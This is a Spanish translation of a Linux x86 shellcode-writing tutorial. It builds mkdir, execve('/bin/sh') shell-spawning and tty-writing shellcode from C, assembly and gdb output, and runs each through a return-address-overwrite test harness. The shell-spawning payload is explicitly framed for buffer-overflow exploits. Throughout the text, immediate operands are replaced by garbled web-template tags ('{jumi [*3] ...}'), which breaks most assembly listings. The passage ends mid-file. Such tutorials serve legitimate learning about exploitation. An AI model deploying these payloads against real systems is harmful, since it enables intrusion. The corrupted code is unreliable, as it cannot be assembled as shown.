Excelente texto con el que sin duda alguna aprenderas a crear shellcodes en linux. Yo lo he echo y realmente he aprendido mucho :)
Texto Completo:
Diseñando Shellcodes en linux IA-32(x86)
By the_swede
Traducido por SeSoX para http://www.govannom.org
Introduccion
------------
Aunque es aburrido y abstracto, el shellcoding es una habilidad importante
a aprender para entender los conceptos subyacentes de los sistemas
informáticos. La shellcode es también importante para la comprensión de
la seguridad de la computadora donde la shellcode se utiliza para explotar
aplicaciones vulnerables. En este artículo, trabajaremos en Linux usando
la arquitectura IA-32(x86). Seria de ayuda tener conocimientos de C y el
ensamblador IA-32 asi como del uso de gdb.
Primer Acercamiento
^^^^^^^^^^^^^^^^^^^
Normalmente el primer paso es conocer la numero de la funcion (o syscall) y
los argumentos que vallamos a utilizar. Para nuestro primer ejemplo, crearemos
un directorio llamado "1337". Para hacer esto, buscaremos primero el syscall
y los argumentos para la funcion mkdir. Una buena lista de las syscalls
se puede ver en: http://www.linuxassembly.org/syscall.html
Mirando ahí, podemos ver que la syscall para la funcion mkdir es 39(0x27) y
buscando en google o mirando en las man podemos ver que los argumentos para
mkdir son:
int mkdir(const char *path, mode_t)
El path de nuestro directorio debe ser un puntero y el mode_t es un entero.
El segundo paso que realizaremos sera escribir un programa en C que cree el
directorio llamado "1337".
mkdir.c
------------------------------------------------------------------------
#include
int main()
{
mkdir("1337", 0755);
return 0;
}
------------------------------------------------------------------------
Obteniendo la Informacion
#########################
Tras escribir este codigo, lo compilaremos y lo ejecutaremos, luego
comprobaremos el codigo en ensamblador utilizando gdb en nuestro
tercer paso:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 16
drwxr-xr-x 2 eric eric 4096 Nov 10 00:11 1337
-rwxr-xr-x 1 eric eric 4810 Nov 10 00:11 mkdir
-rw-r--r-- 1 eric eric 71 Nov 10 00:07 mkdir.c
eric@debian:~/shellcode$ gdb -q mkdir
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0 : push %ebp
0x80483f1 : mov %esp,%ebp
0x80483f3 : sub {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8,%esp
0x80483f6 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff8,%esp
0x80483f9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed
0x80483fe : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8048474
0x8048403 : call 0x80482d0
0x8048408 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp
0x804840b : xor %eax,%eax
0x804840d : jmp 0x8048410
0x804840f : nop
0x8048410 : leave
0x8048411 : ret
0x8048412 : lea 0x0(%esi,1),%esi
0x8048419 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------
El codigo funciona. Este creara un directorio llamado "1337" con los
permisos 755. Si hubiera fijado mis permisos a 777, los permisos
tambien habrian sido 755, debido a que el umask esta fijado como 022.
Del codigo desensamblado podremos obtener la informacion que necesitamos
para crear el codigo en ensamblador. Primero nos fijaremos en la quinta y
sexta lineas:
0x80483f9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed
0x80483fe : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x8048474
La primera es la que establece el segundo argumento que indica los
permisos del directorio. Estamos estableciendo los permisos como 0755,
el cual traducido a ensamblador/hexa se interpretaría como 0x1ed. Con la
segunda linea, introducimos una direccion de memoria. Esta direccion de
memoria esta apuntando al nombre del directorio que estamos creando, el
cual esta almacenado en memoria en forma de string. Tras esto el programa
llama a la funcion mkdir() y luego se sigue ejecutando en 0x8048408.
Creando el codigo ensamblador
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lo primero que debemos hacer es poner el nombre de nuestro directorio
dentro del buffer. Haremos esto utilizando el stack. El stack nos permite
poner datos en regiones de memoria contiguas. Puesto que el stack utiliza
el sistema llamado LIFO(Last In First Out) o FILO(First In Last Out),
tendremos que meter todo en el stack en orden inverso, con lo cual si
el nombre del directorio es "1337" meteremos "7331". Solo podemos
hacer esto con 4 bits y tambien tendremos que pasar el string de
ASCII a hexadecimal. El equivalente en hexadecimal de "1337" seria
0x31333337 y como tenemos que darle la vuelta por lo que hemos hablado
antes del LIFO, el resultado seria: 0x37333331. El string tiene que
concluir con un byte nulo, por lo tanto el resultado seria el siguiente:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331
Ahora ya tendriamos nuestro string en una region de memoria contigua.
En cualquier caso, para utilizar los parametros en cualquier llamada
al sistema, podremos usar los siguientes registros:
registros de 32-bits: EAX, EBX, ECX, and EDX
registros de 16-bits: AX, BX, CX, and DX
registros de 8-bits: AL, BL, CL, and DL
Los argumentos introducidos en los registros de proposito general
deben ser almacenados en orden inverso. Necesitaremos guardar primero
el modo. Recuerda que lo guardaremos pasandolo a hexadecimal:
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx
Ahora debemos usar el puntero de pila como nuestro argumento de
directorio. El puntero de pila (ESP) apunta al top de la pila, que
es precisamente donde tenemos nuestro string (nombre del directorio).
movl %esp, %ebx
Cuando completamos esto, tendremos que introducir la system call
que en nuestro caso es 0x27(o 39 en decimal) dentro del registro
EAX y luego ejecutaremos la funcion con 'int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80':
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
La ultima parte de nuestro programa es para ejecutar la syscall de
exit(). Queremos que devuelva 0 para terminar con una ejecucion
satisfactoria. Para hacer eso, pondremos el valor 0 dentro de EBX.
Lo cual conseguiremos haciendo 'xorl %ebx, %ebx' y luego daremos
el valor 1 a EAX ya que la syscall de exit() es 0x1:
xorl %ebx, %ebx
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
Juntando todo lo que hemos visto asta ahora, tenemos el siguiente
programa:
mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx
movl %esp, %ebx
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
xorl %ebx, %ebx
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
------------------------------------------------------------------------
Parcheando el codigo
++++++++++++++++++++
Deseamos intentar evitar que nuestro codigo use 0's. Para empezar,
se ve feo, y esto produce un numero de bytes innecesarios. Por ejemplo,
no es necesario utilizar registros de 32 bits cuando estamos
metiendo datos de solo 8 o 16 bits! Para propositos hacker, los bytes
nulos (null) no se puede utilizar para nuestros exploits ya que estos
bytes indican la terminacion de un string. En este caso, para solventar
nuestro problema, haremos los siguientes cambios:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0 | xorl %eax, %eax
| pushl %eax
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %ecx | movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %eax | movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1, %eax | movl %ebx, %eax
| incl %eax
Ahora que ya hemos aplicado el parche, tenemos el nuevo codigo:
mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
pushl %eax
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331
movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx
movl %esp, %ebx
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
------------------------------------------------------------------------
Escribiendo la Shellcode
````````````````````````
Por fin ha llegado el momento de escribir nuestra shellcode. Necesitaremos
compilar nuestro codigo en ensamblador y ver si este funciona:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.s
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337
-rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------
Genial! Esto funciona! Ahora obtendremos los opcodes utilizando gdb.
------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb -q mkdir
(gdb) x/30b main
0x80483c0 : 0x31 0xc0 0x50 0x68 0x31 0x33 0x33 0x37
0x80483c8 : 0x66 0xb9 0xed 0x01 0x89 0xe3 0xb0 0x27
0x80483d0 : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x80483d8 : 0x80 0x8d 0x76 0x00 0x90 0x90
------------------------------------------------------------------------
Ahora tendremos que copiar el resultado para pastearlo fuera del gdb en
un fichero y hacer unos cambios. Tendremos que eliminar todo lo que hay
delante de los ":"s, eliminar todos los espacios y buscar/reemplazar
todos los "0x"s por "\x"s. Esto sera necesario para obtener todos los
opcodes que estan antes del ultimo 0x80 o \x80, ya que el resto de
los codigos no son necesarios para la construccion de la shellcode.
Cuando hayamos terminado este proceso, el resultado seria como el
siguiente:
------------------------------------------------------------------------
\x31\xc0\x50\x68\x31\x33\x33\x37
\x66\xb9\xed\x01\x89\xe3\xb0\x27
\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80
------------------------------------------------------------------------
Entonces nuestro shellcode dentro del exploit quedaria como este:
mkdir.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50\x68" /* pushl %eax */
"\x31\x33\x33\x37"
"\x66\xb9"
"\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80" /* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80"; /* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 */
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
Ahora compilaremos y ejecutaremos nuestro shellcode para ver si este
funciona.
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337
-rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------
Afortunadamente funciona! Construir una shellcode es una tarea
complicada como podeis ver. Estoy seguro que si ha sido paciente
para leer asta aqui, seguira leyendo.
Mas Ejemplos
************
Vamos a ver otro ejemplo de escritura de shellcodes, escribiremos
una shellcode para enlazar una shell. Esto se ve amenudo en el campo
de la seguridad informatica. A menudo, los hackers enlazan shells
en sus exploits de buffer overflow. Esto es posible cambiando la
direccion de retorno en el stack (pila) para que apunte al codigo
que enlaza la shell.
Primero empezaremos examinando nuestra syscall(o funcion) en C.
Para ejecutar cualquier aplicacion utilizaremos execve(). Execve() es
una llamada al sistema y una funcion de C. Mirando el fichero unistd.h
veremos que execve tiene el numero 11 o 0xb en hexadecimal. Entonces
mirando las paginas man para execce encontramos cuales son los argumentos
necesarios para execve().
int execve(const char *filename, char *const argv[], char *const envp[])
En C, obtendriamos un codigo como este:
shspawn.c
------------------------------------------------------------------------
#include
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
------------------------------------------------------------------------
Ahora queremos escribir esto en ensamblador. Primero tendremos que crear
nuestro path. El path es "/bin//sh". Se utiliza un extra "/" para que el
string sea de 8 caracteres y asi meterlo en 2 instrucciones pushl completas
por lo cual tambien valdria si utilizamos un string del tipo "//bin/sh".
Entonces por supuesto, para terminar cualquier string, tendremos que meter
un byte nulo. Nuestro segundo argumento es la matriz de caracteres entera.
Y nuestro tercer argumento es un NULL.
Para construir nuestro codigo, primero necesitaremos terminar nuestro string
con un byte nulo:
xorl %eax, %eax
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
Ahora necesitamos poner nuestro string al reves, metiendo cuatro bytes
en cada sentencia:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f
Ahora que tenemos nuestro string al completo dentro del stack, necesitamos
moverlo dentro de un registro. El argumento del path en nuestra funcion de
C es la primera, ahora sera la ultima, asi ESP, que esta señalando a nuestro
string, sera colocado en EBX:
movl %esp, %ebx
Entonces tendremos que meter nuestro segundo argumento, que es nuestro string
y un NULL y luego la ponemos en el registro correspondiente:
pushl %edx
pushl %ebx
movl %esp, %ecx
Una vez completado esto, podemos meter la syscall para execve, 0xb, dentro
de EAX y luego entraremos en modo kernel (ejecutaremos).
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %al
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
Finalmente debemos terminar nuestro programa con exit(0):
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
Ahora que tenemos esto, vamos a poner los pedazos juntos y construiremos
nuestro codigo ensamblador. Los bytes nulos ya han sido eliminados:
shspawn.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
movl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
------------------------------------------------------------------------
Ahora montemos el codigo y extraigamos los opcodes:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o shspawn shspawn.s
eric@debian:~/shellcode$ gdb -q shspawn
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c0 : xor %eax,%eax
0x80483c2 : xor %ebx,%ebx
0x80483c4 : xor %ecx,%ecx
0x80483c6 : xor %edx,%edx
0x80483c8 : push %edx
0x80483c9 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f
0x80483ce : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f
0x80483d3 : mov %esp,%ebx
0x80483d5 : push %edx
0x80483d6 : push %ebx
0x80483d7 : mov %esp,%ecx
0x80483d9 : mov {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb,%al
0x80483db : int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
0x80483dd : xor %ebx,%ebx
0x80483df : mov %ebx,%eax
0x80483e1 : inc %eax
0x80483e2 : int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
0x80483e4 : nop
0x80483e5 : nop
0x80483e6 : nop
---Type to continue, or q to quit---
0x80483e7 : nop
0x80483e8 : nop
0x80483e9 : nop
0x80483ea : nop
0x80483eb : nop
0x80483ec : nop
0x80483ed : nop
0x80483ee : nop
0x80483ef : nop
End of assembler dump.
(gdb) x/36b main
0x80483c0 : 0x31 0xc0 0x31 0xdb 0x31 0xc9 0x31 0xd2
0x80483c8 : 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f
0x80483d0 : 0x62 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89
0x80483d8 : 0xe1 0xb0 0x0b 0xcd 0x80 0x31 0xdb 0x89
0x80483e0 : 0xd8 0x40 0xcd 0x80
------------------------------------------------------------------------
Cuando extaigamos los opcodes, obtendremos nuestra shellcode:
shspawn.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
Cuando lo compilemos y ejecutemos, debe enlazarnos una shell:
------------------------------------------------------------------------
eric@debian:~$ cd shellcode
eric@debian:~/shellcode$ gcc -o shspawn shspawn.c
eric@debian:~/shellcode$ ./shspawn
sh-2.05a$ exit
exit
------------------------------------------------------------------------
Algunas variantes del codigo anterior existen en:
http://uc.zemos.net/sc/UCexecve.c
========================================================================
Para nuestro tercer ejemplo, escribiremos el mensaje "Hello World!" en
/dev/tty1. Primero buscaremos la syscall que necesitamos:
int sys_open(const char * filename, int flags, int mode)
-&-
ssize_t sys_write(unsigned int fd, const char * buf, size_t count)
Hay un aspecto crucial a la hora de escribir nuestro shellcode;
la funcion open() devuelve un descriptor de fichero (fd).
Escribamos primero nuestro codigo en c:
vt.c
------------------------------------------------------------------------
#include
#include
#include
#include
int main()
{
int fd = open("/dev/tty1", O_RDWR);
char[] buf = "Hello World!";
int len = strlen(buf);
write(fd, buf, len);
return 0;
}
------------------------------------------------------------------------
Tras compilar este codigo, deberas hacer login como root, chvt al tty1
(chvt 1) y ejecutar el programa:
------------------------------------------------------------------------
debian:/home/eric/shellcode# gcc -o vt vt.c
debian:/home/eric/shellcode# ./vt
Hello World!
debian:/home/eric/shellcode#
------------------------------------------------------------------------
El codigo en c ya nos funciona. Ahora tendremos que escribir el codigo
en ensamblador. Comenzaremos analizando el codigo desensamblado utilizando
gdb:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb -q vt
(gdb) disassemble main
Dump of assembler code for function main:
0x8048450 : push %ebp
0x8048451 : mov %esp,%ebp
0x8048453 : sub {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x28,%esp
0x8048456 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff8,%esp
0x8048459 : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2
0x804845b : push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485e4
0x8048460 : call 0x8048358
0x8048465 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp
0x8048468 : mov %eax,%eax
0x804846a : mov %eax,0xfffffffc(%ebp)
0x804846d : lea 0xffffffec(%ebp),%edx
0x8048470 : mov {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485ee,%eax
0x8048475 : mov (%eax),%edx
0x8048477 : mov %edx,0xffffffec(%ebp)
0x804847a : mov 0x4(%eax),%edx
0x804847d : mov %edx,0xfffffff0(%ebp)
0x8048480 : mov 0x8(%eax),%edx
0x8048483 : mov %edx,0xfffffff4(%ebp)
0x8048486 : movzwl 0xc(%eax),%eax
0x804848a : mov %ax,0xfffffff8(%ebp)
0x804848e : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffff4,%esp
0x8048491 : lea 0xffffffec(%ebp),%eax
---Type to continue, or q to quit---
0x8048494 : push %eax
0x8048495 : call 0x8048338
0x804849a : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp
0x804849d : mov %eax,0xffffffe8(%ebp)
0x80484a0 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfffffffc,%esp
0x80484a3 : mov 0xffffffe8(%ebp),%eax
0x80484a6 : push %eax
0x80484a7 : lea 0xffffffec(%ebp),%eax
0x80484aa : push %eax
0x80484ab : mov 0xfffffffc(%ebp),%eax
0x80484ae : push %eax
0x80484af : call 0x8048318
0x80484b4 : add {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x10,%esp
0x80484b7 : xor %eax,%eax
0x80484b9 : jmp 0x80484c0
0x80484bb : nop
0x80484bc : lea 0x0(%esi,1),%esi
0x80484c0 : leave
0x80484c1 : ret
0x80484c2 : lea 0x0(%esi,1),%esi
0x80484c9 : lea 0x0(%edi,1),%edi
End of assembler dump.
------------------------------------------------------------------------
Centremonos en las dos lineas previas a la llamada a open(). Estas hacen
push 0x2 y push {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80485e4. El primer push pone "O_RDWR" en el stack (pila).
El segundo push esta metiendo la direccion de memoria donde tenemos almacenado
el string "/dev/tty1" en nuestro stack (pila).
Para escribir nuestro propio codigo, primero necesitamos meter un
byte NULL en la pila q marcara el final del string.
xorl %eax, %eax
pushl %eax
Ahora necesitamos meter nuestro string "/dev/tty1" en el stack.
Los dos ultimos bytes deben ser introducidos por separado. Si
los introducimos como "0x3179", entonces el ensamblador rellenara
automaticamente los 2 ultimos bytes con ceros:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31 # Metemos el 1
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79 # Metemos la y
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f # Metemos //tt
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f # Metemos /dev
Ahora que tenemos nuestro string en la pila, necesitamos poner los
argumentos para la syscall open. Primero movemos 0_RDWR(0x2) dentro
de CL y luego creamos un puntero a nuestro string que esta en ESP
con lo cual EBX apuntaria al string. Tras esto, ponemos el numero
de syscall en AL y pasamos a modo kernel (ejecutamos):
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl
movl %esp, %ebx
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
El valor de retorno para open() es un descriptor de fichero para
/dev/tty1. Las funciones siempre devuelven el valor dentro del
registro EAX. Pues bien, fd sera el primer argumento para la funcion
write() por lo tanto lo meteremos en EBX. Esto sera lo primero que
agamos para luego poner EAX como NULL y asi preparar la pila para
meter nuestro string:
movl %eax, %ebx
xorl %eax, %eax
pushl %eax
Una vez hayamos completado esta parte, necesitamos meter el resto
de nuestro string "Hello World!" en el stack:
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548
Ahora para acabar, nos quedan un par de pasos a realizar con
write(), ponemos la syscall en EAX y saltamos al modo kernel
para ejecutar la funcion:
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl
movl %esp, %ecx
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
Para acabar, finalizamos el programa con exit(0):
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
Pero antes de escribir nuestro codigo ensamblador al completo,
necesitaremos hacer una cosa mas. Dado que estamos utilizando
registro de 8 bits, los primeros 24 bits pueden contener otro tipo
de datos que podria causar que el programa se comporte de forma extraña.
Para corregir esto, necesitamos poner a cero todos los registros del
principio. EAX ya esta declarado como cero:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
Uniendo todo, el codigo resultante sera como este:
vt.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax # Metemos un NULL
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31 # Metemos el string /dev/tty1
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79 # ""
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f # ""
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f # ""
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl #
movl %esp, %ebx # Hacemos que EBX apunte al string
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %al # Metemos la syscall de open
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos)
movl %eax, %ebx # Metemos el resultado de open en EBX
xorl %eax, %eax # Metemos un NULL en EAX
pushl %eax # Metemos un NULL en la pila (stack)
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a # Metemos el string Hello World!
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72 # ""
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f # ""
pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548 # ""
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl #
movl %esp, %ecx # Hacemos que ECX apunte al string
movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al # Metemos la syscall de write
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos)
xorl %ebx, %ebx # Metemos NULL en EBX
movl %ebx, %eax # Metemos NULL en EAX
incl %eax # Incrementamos EAX (syscall de exit)
int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80 # Pasamos a modo kernel (ejecutamos)
------------------------------------------------------------------------
Tras ensanblar este codigo, puedes obtener las opcodes utilizando gdb.
La shellcode que hay a continuacion es la shellcode completa que
escribe "Hello World!" en /dev/tty1.
vt.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
Podeis acceder al codigo original de vt en la siguiente URL:
http://uc.zemos.net/sc estas shellcodes y alguna mas puedes visualizarlas
aqui abajo. La idea para la shellcode vt fue conspirada por mikecc de Zemos
tras ver mi shellcode original. Por que mikecc tiene superiores habilidades
de programador, el manejo el codigo de la primera shellcode vt mientras que
yo termine pocas horas despues.
hostname.c
------------------------------------------------------------------------
/* author: the_swede
* title: hostname
* description: sets hostname to "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %edx
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x04, %cl
* movl %esp, %ebx
